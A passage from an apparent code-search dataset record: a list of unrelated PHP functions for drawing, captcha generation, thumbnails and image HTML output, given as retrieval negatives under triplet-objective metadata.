"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function GetRepet() {\r\n\r\n $html = <<<EOD\r\n <!-- HÃR KOMMER REPET --> \r\n <g id=\"repet\">\r\n <line fill=\"#B8CB0C\" stroke=\"#000000\" stroke-width=\"2\" stroke-miterlimit=\"10\" x1=\"200.829\" y1=\"4\" x2=\"200.829\" y2=\"45.744\"/>\r\n </g>\r\nEOD;\r\n return $html;\r\n }",
"function getImageStringFromFile($xpmfile) {\r\n $file = fopen($xpmfile,\"r\");\r\n $content = fread($file, filesize($xpmfile));\r\n // remove all \" and CR\r\n $content = str_replace(array(\"\\\"\",\"\\n\", \"\\r\"), \"\", $content);\r\n // find position of { and of } and substr between these 2\r\n $start = strpos($content, \"{\")+1; // to remove the {\r\n $stop = strpos($content, \"}\");\r\n $imgdescr = substr($content, $start, $stop - $start);\r\n // explode\r\n $xpm = explode(\",\", $imgdescr);\r\n \r\n //print_r($xpm);\r\n \r\n return getImageString($xpm);\r\n}",
"function display_graphic($piece)\n{\n}",
"public function DrawPicture() { \r\n\r\n $hogerarm = $this->GetHogerArm();\r\n $vansterarm = $this->GetVansterArm();\r\n $vansterben = $this->GetVansterBen();\r\n $hogerben = $this->GetHogerBen();\r\n $kroppen = $this->GetKroppen();\r\n $huvud = $this->GetHuvud();\r\n $repet = $this->GetRepet();\r\n $stolpen = $this->GetStolpen();\r\n $kullen = $this->GetKullen();\r\n $header = $this->GetSvgHeader();\r\n\r\n $html = <<<EOD\r\n {$header}\r\n {$kullen}\r\n {$stolpen}\r\n {$kroppen} \r\n {$hogerarm} \r\n {$vansterarm} \r\n {$vansterben} \r\n {$hogerben}\t\r\n {$repet} \t\t\r\n {$huvud}\r\n </svg>\r\nEOD;\r\n\r\n return $html;\r\n }",
"function get_court_pic($img)\n{\n\tdefine('UPLOAD_DIR', 'CourtPics/');\n\t$img \t= str_replace('data:image/png;base64,', '', $img);\n\t$img \t= str_replace(' ', '+', $img);\n\t$data \t= base64_decode($img);\n $file \t= UPLOAD_DIR . uniqid() . '.jpg';\n $success = file_put_contents($file, $data);\n \n\treturn $success ? $file : 'some problem occured';\n}",
"protected function _makeImage()\n {\n $result = array();\n $width='170';\n $height='40';\n $characters= mt_rand(5,7);\n $possible = '123456789aAbBcCdDeEfFgGhHIijJKLmMnNpPqQrRstTuUvVwWxXyYZz';\n $code = '';\n $i = 0;\n while ($i < $characters) {\n $code .= substr($possible, mt_rand(0, strlen($possible)-1), 1);\n $i++;\n }\n $font = './fonts/Milonga-Regular.ttf';\n /* font size will be 70% of the image height */\n $font_size = $height * 0.67;\n try {\n $image = @imagecreate($width, $height);\n /* set the colours */\n $text_color = imagecolorallocate($image, 20, 40, 100);\n $noise_color = imagecolorallocate($image, 100, 120, 180);\n /* generate random dots in background */\n for( $i=0; $i<($width*$height)/3; $i++ ) {\n imagefilledellipse($image, mt_rand(0,$width), mt_rand(0,$height), 1, 1, $noise_color);\n }\n /* generate random lines in background */\n for( $i=0; $i<($width*$height)/150; $i++ ) {\n imageline($image, mt_rand(0,$width), mt_rand(0,$height), mt_rand(0,$width), mt_rand(0,$height), $noise_color);\n }\n /* create textbox and add text */\n $textbox = imagettfbbox($font_size, 0, $font, $code);\n $x = ($width - $textbox[4])/2;\n $y = ($height - $textbox[5])/2;\n imagettftext($image, $font_size, 0, $x, $y, $text_color, $font , $code);\n ob_start();\n imagejpeg($image);\n $image_code = ob_get_contents ();\n ob_end_clean();\n imagedestroy($image);\n $result = array();\n $result['1'] = base64_encode($image_code);\n Tinebase_Session::getSessionNamespace()->captcha['code'] = $code;\n } catch (Exception $e) {\n if (Core::isLogLevel(LogLevel::NOTICE)) Core::getLogger()->notice(__METHOD__ . '::' . __LINE__ . ' ' . $e->getMessage());\n }\n return $result;\n }",
"public function DrawPartsOfPicture($aNumberOfParts=9) {\r\n \r\n $html = $this->GetSvgHeader();\r\n switch ($aNumberOfParts) { \r\n case 0:\r\n return;\r\n break;\r\n case 1:\r\n $html .= $this->GetKullen();\r\n break;\r\n case 2:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n break;\r\n case 3:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n break;\r\n case 4:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud();\r\n break;\r\n case 5:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n break;\r\n case 6:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n break;\r\n case 7:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n $html .= $this->GetVansterArm();\r\n break;\r\n case 8:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n $html .= $this->GetVansterArm();\r\n $html .= $this->GetHogerBen();\r\n break;\r\n case 9:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n $html .= $this->GetVansterArm();\r\n $html .= $this->GetHogerBen();\r\n $html .= $this->GetVansterBen(); \r\n break;\r\n }//end switch\r\n \r\n $html .= \"</svg>\";\r\n\r\n return $html; \r\n }",
"function bone_string($avg_rating) {\r\n $bone = \"\";\r\n $count = 0;\r\n while($count < $avg_rating) {\r\n $bone .= \"<img class='bone' src='../images/bone.png' alt='bone'>\";\r\n $count += 1;\r\n }\r\n return($bone);\r\n}",
"private function get_title_img()\n {\n $this->char_count = count($this->strings);\n $this->init_img();\n $font_size = L_FONT_SIZE / $this->char_count;\n $img_y = (L_IMG_HEIGHT + $font_size) / 2;\n $this->create_img($this->string,$font_size,$img_y);\n }",
"public function gen_thumbnail()\n {\n }",
"public function gen_thumbnail()\n {\n }",
"private function getImg()\n\t{\n\t\t$buffer = ' ';\n\t\t\n\t\tif(!$this->aImg['sFilename'])\n\t\t\treturn $buffer;\n\t\t\n\t\t$buffer = '<img src=\"../../thumbs/'.$this->aImg['sFilename'].'\" />';\t\t\n\t\t\n\t\treturn $buffer;\n\t}",
"public function getImage()\n\t{\n\t\treturn $this->generator->render($this->generateCode(), $this->params);\n\t}",
"public function createImage2(){\n $this->createCircle(100, 100, 50, 50, 0, 360);\n $this->createCircle(400, 100, 50, 50, 0, 360);\n $this->createCircle(110, 200, 50, 50, 0, 360);\n $this->createCircle(250, 300, 50, 50, 0, 360);\n $this->createCircle(390, 200, 50, 50, 0, 360);\n $this->createLine(125, 100, 375, 100);\n $this->createLine(100, 125, 100, 175);\n $this->createLine(400, 125, 400, 175);\n $this->createLine(125, 220, 225, 300);\n $this->createLine(275, 300, 375, 220);\n $this->generateImage();\n }",
"public function render()\n {\n Response::setContentType('png');\n\n $fontSize = rand(0, 30);\n $string = StringUtility::getRandomString($this->length, true);\n foreach (str_split($string) as $char) {\n if (!$this->fixedSpacing) {\n $fontSize = rand(0, 30);\n }\n imagettftext($this->image, 30, $fontSize, $this->left, $this->top, $this->getFontColor(), $this->getFont(), $char);\n $this->left += $this->getSpacing();\n }\n\n Processor::setInternalSessionValue($this->name, $string);\n imagepng($this->image);\n imagedestroy($this->image);\n }",
"function print_photo_text($table) {\n\n\t$html = \"<div class=\\\"div_class\\\">\\n\";\n\t$html .= \"\\t<h3>\" . $table['titre'] . \"</h3>\\n\";\n\t$html .= \"\\t<div class=\\\"photo_text\\\">\\n\";\n\t$html .= \"\\t\\t<img src=\\\"Images/\" . $table['photo'] . \"\\\">\";\n\t$html .= \"\\t\\t<p>\" . $table['texte'] . \"</p>\\n\";\n\t$html .= \"\\t</div>\\n\";\n\t$html .= \"</div>\\n\";\n\n\treturn $html;\n}",
"protected function imageName() {}",
"public function getrandommoomusicimage() {\n\t\t\t\n\t\t\t$images = array(\"croo-doris.png\",\"croo-henry.png\",\"croo-maggie.png\",\"croo-ollie.png\");\n\t\t\t\n\t\t\t$randomImageIndex = rand(0, count($images) - 1);\n\t\t\t$v = View::getInstance();\n\t\t\t$themePath = $v->getThemePath();\n\t\t\t\n\t\t\t$fullImagePath = $themePath . '/images/' . $images[$randomImageIndex];\n\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\n\t\t\treturn $fullImagePath;\n\t\t}",
"function getImage($var, $type){\n\t\t// $data = getRealm();\n\t\tif($type == \"champion\"){\n\t\t\t$data2 = code2key($var,\"champions\");\n\t\t\treturn \"<img src='/data/4.12.2/img/\" . $type . \"/\" . $data2 . \".png' width = 50 height = 50>\";\n\t\t}else if($type == \"spell\"){\n\t\t\t$data2 = code2key($var,\"spells\");\n\t\t\treturn \"<img src='/data/4.12.2/img/\" . $type . \"/\" . $data2 . \".png' width = 50 height = 50>\";\n\t\t}\n\t\telse{\n\t\t\treturn \"<img src='/data/4.12.2/img/\" . $type . \"/\" . $var . \".png' width = 50 height = 50>\";\n\t\t}\n\t}",
"public function createImage1(){\n $this->createHexagon(150,75, 50, 200, 150, 325, 275, 325, 350,200, 275, 75);\n $this->createCircle(200, 200, 200, 200, 0, 360);\n $this->createLine(200, 125, 125, 200);\n $this->createLine(200, 125, 275, 200);\n $this->createLine(125, 200, 200, 275);\n $this->createLine(275, 200, 200, 275);\n $this->generateImage();\n }",
"function show_gif_img($this_number=\"\")\n\t{\n\t\t$numbers = array( 0 => 'R0lGODlhCAANAJEAAAAAAP////4BAgAAACH5BAQUAP8ALAAAAAAIAA0AAAIUDH5hiKsOnmqSPjtT1ZdnnjCUqBQAOw==',\n\t\t\t\t\t\t 1 => 'R0lGODlhCAANAJEAAAAAAP////4BAgAAACH5BAQUAP8ALAAAAAAIAA0AAAIUjAEWyMqoXIprRkjxtZJWrz3iCBQAOw==',\n\t\t\t\t\t\t 2 => 'R0lGODlhCAANAJEAAAAAAP////4BAgAAACH5BAQUAP8ALAAAAAAIAA0AAAIUDH5hiKubnpPzRQvoVbvyrDHiWAAAOw==',\n\t\t\t\t\t\t 3 => 'R0lGODlhCAANAJEAAAAAAP////4BAgAAACH5BAQUAP8ALAAAAAAIAA0AAAIVDH5hiKbaHgRyUZtmlPtlfnnMiGUFADs=',\n\t\t\t\t\t\t 4 => 'R0lGODlhCAANAJEAAAAAAP////4BAgAAACH5BAQUAP8ALAAAAAAIAA0AAAIVjAN5mLDtjFJMRjpj1Rv6v1SHN0IFADs=',\n\t\t\t\t\t\t 5 => 'R0lGODlhCAANAJEAAAAAAP////4BAgAAACH5BAQUAP8ALAAAAAAIAA0AAAIUhA+Bpxn/DITL1SRjnps63l1M9RQAOw==',\n\t\t\t\t\t\t 6 => 'R0lGODlhCAANAJEAAAAAAP////4BAgAAACH5BAQUAP8ALAAAAAAIAA0AAAIVjIEYyWwH3lNyrQTbnVh2Tl3N5wQFADs=',\n\t\t\t\t\t\t 7 => 'R0lGODlhCAANAJEAAAAAAP////4BAgAAACH5BAQUAP8ALAAAAAAIAA0AAAIUhI9pwbztAAwP1napnFnzbYEYWAAAOw==',\n\t\t\t\t\t\t 8 => 'R0lGODlhCAANAJEAAAAAAP////4BAgAAACH5BAQUAP8ALAAAAAAIAA0AAAIVDH5hiKubHgSPWXoxVUxC33FZZCkFADs=',\n\t\t\t\t\t\t 9 => 'R0lGODlhCAANAJEAAAAAAP////4BAgAAACH5BAQUAP8ALAAAAAAIAA0AAAIVDA6hyJabnnISnsnybXdS73hcZlUFADs=',\n\t\t\t\t\t\t);\n\t\t\n\t\t@header(\"Content-Type: image/gif\");\n\t\techo base64_decode($numbers[ $this_number ]);\n\t\texit();\n\t}",
"public function graphic()\n {\n return \"dice-\" . $this->getLastRoll();\n }",
"function L_getImage($number) {\n\t\t\n\t\tglobal $post;\n\t\t$img = '';\n\t\t$output = preg_match_all('/<img.+src=[\\'\"]([^\\'\"]+)[\\'\"].*>/i', $post->post_content, $matches);\n\t\t$img = $matches [1] [$number];\n\n\t\treturn $img;\n\t\n\t}",
"function mk_cThumb($cID, $str=''){\n\t$sqlTT = \"SELECT Codename, Overview, Waiver, Team FROM ma_Characters WHERE CharID = $cID;\"; #ToolTip\n\t$cName = $cOverview = $cWaiver = $cTeam = '';#initialize\n\t$resultTT = mysqli_query(IDB::conn(),$sqlTT) or die(trigger_error(mysqli_error(IDB::conn()), E_USER_ERROR));\n\t$dbTT = pdo(); # pdo() creates and returns a PDO object\n\n\t#$result stores data object in memory\n\ttry {$resultTT = $dbTT->query($sqlTT);} catch(PDOException $ex) {trigger_error($ex->getMessage(), E_USER_ERROR);}\n\n\tif($resultTT->rowCount() > 0)\n\t{#there are records - present data\n\t\t#set values needed for tool tip\n\t\twhile($rowTT = $resultTT->fetch(PDO::FETCH_ASSOC))\n\t\t{# pull data from associative array\n\t\t\t$cOverview = $rowTT['Overview'];\n\t\t\t$cWaiver = $rowTT['Waiver'];\n\t\t\t$cTeam = $rowTT['Team'];\n\t\t\t$cName = $rowTT['Codename'];\n\t\t}\n\t}\n\tunset($resultTT, $dbTT); #free resources\n\n\t#verify Image or use FPO\n\t#create Image Path\n\t$filename = './../uploads/_assigned/' . $cID . '-1t.jpg';\n\t#Verify image exists, show\n\tif (file_exists($filename)) {\n\t\t$filename = VIRTUAL_PATH . 'uploads/_assigned/' . $cID . '-1t.jpg';\n\t}else{\n\t\t#no image, use fpo static\n\t\t$filename = VIRTUAL_PATH . '_img/_static/static---00' . rand(0, 8). '.gif';\n\t}\n\n/*\n\n\nhttp://localhost/WrDKv4/_img/_static/static---005.gif\n\n\n\n*/\n\n\n\n\n\n\t#construct the polyThumb\n\t$str .= '<div class=\"text=center\">\n\t\t\t<a href=\"' . VIRTUAL_PATH . 'characters/profile.php?id=' . $cID . '&act=show\"\n\t\t\t\ttarget=\"_blank\" data-toggle=\"tooltip\" data-placement=\"right\" title=\"\" data-container=\"body\" class=\"tooltiplink\" data-html=\"true\"\n\t\t\t\tdata-original-title=\"' . $cName . ' >> ' . $cOverview . '\"\n\t\t\t\t>\n\t\t\t\t<img src=\"' . $filename . '\" alt=\"' . $cName . '\" style=\"width:50px\">\n\t\t\t</a>\n\t\t</div>';\n\n\treturn $str;\n\n}",
"private function generateText($numPhotos) {\n\t\t$text = $numPhotos . ' ';\n\t\tif($numPhotos > 1) {\n\t\t\t$text .= 'neue Bilder';\n\t\t} else {\n\t\t\t$text .= 'neues Bild';\n\t\t}\n\t\treturn $text;\n\t}",
"private function get_type_img()\n {\n $this->multi_byte_string_to_array();\n foreach($this->strings as $char)\n {\n $this->init_img();\n $this->create_img($char);\n }\n }",
"protected function renderImage(){\n \n return sprintf(\n '<img src=\"%s\" title=\"%s\" alt=\"%s\">',\n $this->getField('url'),\n $this->getField('title',''),\n $this->getField('alt','')\n );\n \n }",
"private function generateThumbnailGD(){\n\t\t\n\t}",
"private function generateThumbnailImagick(){\n\t}",
"public function getImageName();",
"function getCover () {\n\n}",
"function frenderN($img,$font,$x,$y,$l,$text){\n $text.='';\n if(strlen($text)<$l) $x+=($l-strlen($text))*8;\n for($i=0;$i<strlen($text);$i++)\n ImageCopy($img,$font,$i*5+$x,$y,(ord($text[$i])%16)*8,floor(ord($text[$i])/16)*8,6,8);\n}",
"public function getWebPicture();",
"function affiche_image_armure($image_armures, $nom_armure, $defense_armure, $description_armures,\n\t\t\t\t\t\t\t $BonusPerception_armures, $bonusPv_armure){\n\t\t\t\t\t\t\t\t \n\t$description_arme = $description_armures;\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t \n\techo \"<td width=50 height=50 align=center>\n\t\t\t<img tabindex='0' src='../images/armures/$image_armures' width=50 height=50 \n\t\t\t\t\tdata-toggle='popover' data-trigger='focus' data-html='true' data-placement='bottom'\n\t\t\t\t\ttitle=\\\"<b>$nom_armure</b>\\\" \";\n\techo \"\t\t\tdata-content=\\\"\t<div><img src=../images/armures/$image_armures></div>\n\t\t\t\t\t\t\t\t\t<div><u>Defense :</u> $defense_armure</div>\";\n\t\t\t if($BonusPerception_armures){\n\t\t\t\techo \"<div><u>Bonus Perception :</u> $BonusPerception_armures</div>\";\n\t\t\t }\n\t\t\t if($bonusPv_armure){\n\t\t\t\techo \"<div><u>bonus Pv :</u> $bonusPv_armure</div>\";\n\t\t\t }\n\t\t\t echo \"<div><b>Description</b></div><div>$description_armures</div>\\\" >\";\n}",
"public function __toString() {\n\t\tif (!$this->isBound()) {\n\t\t\treturn 'DImage '.$this->id.' [not bound]';\n\t\t}\n\t\t$r = 'DImage '.$this->id.' ['.$this->info;\n\t\tif ($this->getFrameCount() > 1) {\n\t\t\t$r .= ' frames:'.$this->getFrameCount();\n\t\t}\n\t\t$r .= ' #'.$this->getResourceID();\n\t\t$r .= ']';\n\t\treturn $r;\n\t}",
"public function createImage3(){\n $this->triangleCreate(240, 100, 290, 50, 340, 100);\n $this->triangleCreate(40, 300, 90, 250, 140, 300);\n $this->triangleCreate(440, 300, 490, 250, 540, 300);\n $this->createLine(265, 100, 105, 265);\n $this->createLine(315, 100, 475, 265);\n $this->createLine(125, 285, 455, 285);\n $this->generateImage();\n }",
"function createImage($string){\n\t\t//pr($string);die('okszzz');\n\t\t$data\t= base64_decode($string);\n\t\t//echo ($data);die('oksss');\n\t\t\n\t\t$db_img = imagecreatefromstring($data); \n\t\t//.pr($db_img);die;\n\t\t$type = \"jpg\";\n\t\t$name\t= '';\n\t\tif ($db_img !== false) {\n\t\t\tswitch ($type) {\n\t\t\tcase \"jpg\":\n\t\t\t$rand \t= rand(0000, 9999);\n\t\t\t$name\t= $rand.\"user.jpg\";\n\t\t\t\n\t\t\timagejpeg($db_img,$name, '100');\n\t\t\t$img = imagejpeg($db_img,$name, '100');\n\t\t\tbreak;\n\t\t\t\n\t\t}\n\t\t\n\n\t\t}\n\t\treturn $name;\n\t\n\t\n\t}",
"public function build(): string\n {\n $this->verifyBom($this->encoding, $this->description);\n $this->_handleDefaultValues();\n\n $frame = $this->encoding->getCode();\n $frame .= $this->mimeType;\n $frame .= \"\\x00\";\n $frame .= $this->pictureType;\n $frame .= $this->description;\n $frame .= $this->encoding->getDelimiter();\n $frame .= $this->pictureData;\n\n return $frame;\n }",
"function GetImage()\n {\n //Obtient les images par défaut de chaque produit de la fiche\n $ficheProduct = new EeCommerceFicheProductProduct($this->Core);\n $ficheProduct->AddArgument(new Argument(\"EeCommerceFicheProductProduct\", \"FicheId\", EQUAL, $this->IdEntite));\n $products = $ficheProduct->GetByArg();\n \n $html = \"<div>\";\n \n foreach($products as $product)\n {\n $img = new Image($product->Product->Value->ImageDefault->Value);\n $img->Alt = $img->Title = $product->Product->Value->NameProduct->Value;\n \n $html .= \"<div class='col-md-4' >\" . $img->Show().\"</div>\"; \n }\n \n $html .= \"</div>\";\n \n return $html;\n \n }",
"function createImage($width=135,$height=45)\r\n\t{\r\n\t\theader(\"Content-type:image/jpeg\");\r\n\r\n\t\t// create an image \r\n\t\t$im=imagecreate($width,$height);\r\n\r\n\t\t// white background\r\n\t\t$black=imagecolorallocate($im,0,0,0);\r\n\r\n\r\n\t\t// black text and grid\r\n\t\t$white=imagecolorallocate($im,255,255,255);\r\n $other=imagecolorallocate($im,0,0,255);\r\n\t\t// get a random number to start drawing out grid from\r\n\t\t$num=rand(0,5);\r\n\r\n\t\t// draw vertical bars\r\n\t\tfor($i=$num;$i<=$width;$i+=10)\r\n\t\t\timageline($im,$i,0,$i,45,$other);\r\n\r\n\t\t// draw horizontal bars\r\n\t\tfor($i=$num;$i<=$height+10;$i+=10)\r\n\t\t\timageline($im,0,$i,135,$i,$other);\r\n\r\n\t\t// generate a random string\r\n\t\t$string=substr(strtolower(md5(uniqid(rand(),1))),0,7);\r\n\t\t\r\n\t\t$string=str_replace('2','a',$string);\r\n\t\t$string=str_replace('l','p',$string);\r\n\t\t$string=str_replace('1','h',$string);\r\n\t\t$string=str_replace('0','y',$string);\r\n\t\t$string=str_replace('o','y',$string);\r\n\r\n\t\t// place this string into the image\r\n\t\t$font = imageloadfont('anticlimax.gdf'); \r\n\r\n imagestring($im,$font,10,10,$string, $white);\r\n\t\t// create the image and send to browser\r\n\t\timagejpeg($im);\r\n\t\t// destroy the image\r\n\t\timagedestroy($im);\r\n\r\n\t\t// return the random text generated\r\n\t\treturn $this->text=$string;\r\n\t}",
"function ImgMrFox()\n{\n \treturn GetWoodyImgQuote('fantasticmrfox.jpg', '了不起的狐狸爸爸会干很多事情,但是刺猬才会干大事。');\n}",
"public function getPhoto() : string {\n $hash = crc32($this->name);\n $filename = self::PHOTO_DIRECTORY . $hash . '.png';\n\n if (file_exists($filename))\n return '/images/photos/' . $hash . '.png';\n\n return '/images/no-photo.png';\n }",
"public function get_cover_name(){\n\t\treturn \"{$this->id}_cover.png\";\n\t}",
"function printFull($name, $difficulty, $topic1, $topic2)\n{\n echo '\n <a href=\"' . preg_replace('/[^a-z\\d]/i', '', $name) . '/\" class=\"bgouter\">\n <!--There are special square icons for committees that are stored at /media/icons/committees/-->\n <div style=\"background-image: url(/media/icons/committees/' . strtolower($name) . '.jpg);background-size: cover\">\n <div class=\"w outer\">\n <div class=\"hoverborder\" style=\"width:260px; padding: 10px;height:260px;\">\n <h1 style=\"font-size: ';\n //I had to make the font size smaller for constitution because it overflowed\n if ($name != \"constitution\") echo '46'; else echo '28';\n echo 'px\">' . $name . '</h1>\n <h6>' . printCommittee($difficulty) . '</h6>\n <div class=\"topic\">\n <p>' . $topic1 . '</p>\n <p>' . $topic2 . '</p>\n </div>\n </div>\n </div>\n </div>\n <img src=\"/media/icons/committees/white/' . strtolower($name) . '.png\" class=\"bgouterpic\">\n </a>\n ';\n}",
"function cpl_wra() {\n\t//You May NOT Edit It!\n\techo \"<img src='http://www.auburnflame.com/brk1.gif'>\";\n}",
"public function rutaImageFly()\n {\n\n // primero vemos a que galeria pertenece\n $galeria = ORM::factory( 'Galeria', $this->galeria );\n\n return( $galeria->rutaImageFly().$this->imagen );\n\n }",
"public function get_post_random_image( $params = array() ) {\n $i = 0;\n $random_preview_image = '';\n while ( isset($params['input_filetype_pr_' . $i]) ) {\n if ( isset($params['thumb_url_pr_' . $i]) ) {\n $random_preview_image = esc_html(stripslashes($params['thumb_url_pr_' . $i]));\n }\n $i++;\n }\n\n\t return $random_preview_image;\n }",
"function affiche_image(){\n\t\tglobal $infos_id;\n\t\tif($infos_id['grade']==0){\n\t\t\treturn\"<img src='ressources/membre.png' title='Membre' alt='Membre'>\";\n\t\t}\n\t\tif($infos_id['grade']==10){\n\t\t\treturn \"<img src='ressources/users.png' title='Conseil' alt='Membre du conseil'>\";\n\t\t}\n\t\tif($infos_id['grade']==20){\n\t\t\treturn \"<img src='ressources/admin.png' title='Vice président' alt='Vice président'>\";\n\t\t}\n\t\tif($infos_id['grade']==30){\n\t\t\treturn \"<img src='ressources/boss.png' title='Président' alt='Président'>\";\n\t\t}\n\t}",
"function getImageId();",
"function create_image($url) {\n $timeparts = explode(\" \",microtime());\n $currenttime = bcadd(($timeparts[0]*1000),bcmul($timeparts[1],1000));\n\n // Gathers the time with current date and puts it into the file name\n $path = \"temp/\";\n $htmlname = $currenttime . \".html\";\n $imagename = $currenttime . \".png\";\n\n // Saves the captured image\n $image = $_POST[\"image\"];\n $ifp = fopen( $path . $imagename, 'wb' );\n $data = explode( ',', $image );\n fwrite( $ifp, base64_decode( $data[ 1 ] ) );\n fclose( $ifp );\n\n // Returns the name for URL\n echo $path . $imagename;\n}",
"function mk_PolyThumb($cID, $str=''){\n\t#get character info for tooltip from ma_Characters\n\t$sqlTT = \"SELECT Codename, Overview, Waiver, Team FROM ma_Characters WHERE CharID = $cID;\"; #ToolTip\n\n\t$codeName = $overview = $waiver = $team = '';#initialize\n\n\n\t$resultTT = mysqli_query(IDB::conn(),$sqlTT) or die(trigger_error(mysqli_error(IDB::conn()), E_USER_ERROR));\n\n\t$dbTT = pdo(); # pdo() creates and returns a PDO object\n\n\t#$result stores data object in memory\n\ttry {$resultTT = $dbTT->query($sqlTT);} catch(PDOException $ex) {trigger_error($ex->getMessage(), E_USER_ERROR);}\n\n\tif($resultTT->rowCount() > 0)\n\t{#there are records - present data\n\t\t#set values needed for tool tip\n\t\twhile($rowTT = $resultTT->fetch(PDO::FETCH_ASSOC))\n\t\t{# pull data from associative array\n\t\t\t$overview = $rowTT['Overview'];\n\t\t\t$waiver = $rowTT['Waiver'];\n\t\t\t$team = $rowTT['Team'];\n\t\t\t$codeName = $rowTT['Codename'];\n\t\t}\n\t}\n\tunset($resultTT, $dbTT); #free resources\n\n\t#verify Image or use FPO\n\t#create Image Path\n\t$filename = '../uploads/'. $cID . '-1t.jpg';\n\t#Verify image exists, show\n\tif (file_exists($filename)) {\n\t\t$filename = $filename;\n\t}else{\n\t\t#no image, use fpo static\n\t\t$filename = '../_img/_static/static---00' . rand(0, 8). '.gif';\n\t}\n\n\n\t#construct the polyThumb\n\t$str .= '\n\t\t<div><a href=\"' . VIRTUAL_PATH . 'characters/profile.php?id=' . $cID . '&act=show\"\n\t\t\ttarget=\"_blank\" data-toggle=\"tooltip\" data-placement=\"right\" title=\"\" data-container=\"body\" class=\"tooltiplink\" data-html=\"true\"\n\t\t\tdata-original-title=\"' . $codeName . ' >> ' . $overview .'\"\n\t\t\t>\n\n\t\t\t\t<!--- for polygons -->\n\t\t\t\t<svg class=\"clip-svg\">\n\t\t\t\t\t<defs>\n\t\t\t\t\t\t<clipPath id=\"polygon-clip-hexagon\" clipPathUnits=\"objectBoundingBox\">\n\t\t\t\t\t\t\t<polygon points=\"0.5 0, 1 0.25, 1 0.75, 0.5 1, 0 0.75, 0 0.25\"></polygon>\n\t\t\t\t\t\t</clipPath>\n\t\t\t\t\t</defs>\n\t\t\t\t</svg>\n\n\t\t\t\t<div class=\"polygon-each-img-wrap\">\n\t\t\t\t\t<img src=\"' . $filename . '\" alt=\"demo-clip-heptagon\" class=\"polygon-clip-hexagon\">\n\t\t\t\t</div>\n\t\t</a></div>\n\n\t\t<div>\n\t\t\t<p class=\"text-center\"><small><strong>' . $codeName . '</strong></small></p>\n\t\t</div>';\n\n\treturn $str;\n\n}",
"function show_art($file,$width,$height) {\n global $directory, $year,$media_url, $collection;\n $file = preg_replace('-\\.gif$-',\".png\",$file);\n // Scale down figures\n if ($width > 860) { $w = $width; $width = 860; $height *= 860/$w; }\n print \"<div><img src='$media_url/$collection/\" . strtolower(\"$directory/$file\") . \"'\"\n . ($width > 0 ? \" width='$width'\" : \"\")\n . ($height > 0 ? \" height='$height'\" : \"\")\n . \" /></div>\\n\";\n}",
"public function getPictureName()\n {\n $pictureName = \"nopicture.png\";\n $articleModel = new ArticleModel();\n $articles = $articleModel->where(\"id_products\", $this->id_products)->findAll();\n\n if (count($articles) > 0) {\n\n if ($articles[0]->getPicture() != null) {\n $pictureName = $articles[0]->getPicture()->name . \".\" . $articles[0]->getPicture()->extension;\n }\n }\n return $pictureName;\n }",
"function create_image(){\r\n\t$wmark = imagecreatefrompng('img/stamp.png');\r\n\t//Load jpg image\r\n\t$image = imagecreatefromjpeg('img/image'.rand(1,3).'.jpg');\r\n\t\r\n\t//Get image width/height\r\n\t$width = imagesx($image);\r\n\t$height = imagesy($image);\r\n\t\r\n\t// Set the margins for the stamp and get the height/width of the stamp image\r\n\t$marge_right = 10;\r\n\t$marge_bottom = 10;\r\n\t$sx = imagesx($wmark);\r\n\t$sy = imagesy($wmark);\r\n\t\r\n\t// Copy the stamp image onto our photo using the margin offsets and the photo width to calculate positioning of the stamp. \r\n\timagecopy($image, $wmark, $width-$sx-$marge_right, $height-$sy-$marge_bottom,0,0,$sx,$sy);\r\n\t\r\n\t// Prepare the final image and save to path. If you only pass $image it will output to the browser instead of a file.\r\n\timagepng($image,\"generatedImage.png\");\r\n\t\r\n\t// Output and free memory\r\n\timagedestroy($image);\r\n}",
"public function generateInstagramText()\n {\n $text = trim($this->description) . PHP_EOL . '.' . PHP_EOL . '.' . PHP_EOL;\n $files = $this->photographOtherFiles()->whereNotNull('camera')->orderBy('created_at')->get();\n for ($i = 0; $i < $files->count(); $i++) {\n /** @var PhotographOtherFile $file */\n $file = $files->get($i);\n if ($i > 0) {\n $text .= '.' . PHP_EOL;\n }\n if (count($files) > 1) {\n $text .= 'Photograph ' . ($i + 1) . ':' . PHP_EOL;\n }\n $text .= $file->camera;\n $text .= ' — ' . $file->lens;\n $text .= PHP_EOL;\n $text .= $file->focal_length;\n if (strlen($file->filter) > 0) {\n $text .= ' ' . $file->filter;\n }\n $text .= ', T:' . $file->exposure_time;\n $text .= ', A:' . $file->aperture;\n $text .= ', ISO:' . $file->iso;\n $text .= PHP_EOL;\n }\n $tags = json_decode($this->tags, true);\n if (is_array($tags) && count($tags) > 0) {\n $text .= '.' . PHP_EOL . '.' . PHP_EOL;\n for ($i = 0; $i < count($tags); $i++) {\n if ($i > 0) {\n $text .= ' ';\n }\n $text .= '#' . trim(ltrim($tags[$i], '#'));\n }\n }\n return $text;\n }",
